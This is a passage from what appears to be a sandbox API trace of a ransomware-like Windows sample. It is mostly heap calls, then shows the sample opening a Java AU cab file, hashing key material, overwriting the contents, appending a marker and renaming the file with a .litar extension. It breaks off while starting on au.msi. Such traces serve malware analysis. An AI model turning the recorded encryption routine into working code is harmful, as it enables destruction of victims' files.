out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.423] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.423] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.424] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.425] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.425] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.426] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.427] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.427] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.427] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.428] PathFindFileNameW (pszPath="") returned="" [0127.428] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.428] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.428] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0127.429] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0127.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.430] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=581730) returned 1 [0127.430] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.432] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.432] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.433] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x25805, lpOverlapped=0x0) returned 1 [0127.435] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.435] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.435] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.435] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0127.436] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.436] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.436] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.436] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.437] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.437] GetLastError () returned 0x0 [0127.437] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.437] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0127.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.437] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25810) returned 0x30fa0b0 [0127.437] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.437] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.437] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x25800, lpOverlapped=0x0) returned 1 [0127.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.438] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.438] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.438] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.438] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.438] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.438] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.439] CloseHandle (hObject=0x624) returned 1 [0127.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0127.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.447] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.litar")) returned 1 [0127.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.448] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0127.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0127.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0127.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0127.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0127.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0127.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.450] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=185344) returned 1 [0127.450] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.452] SetFilePointerEx (in: hFile=0x624, 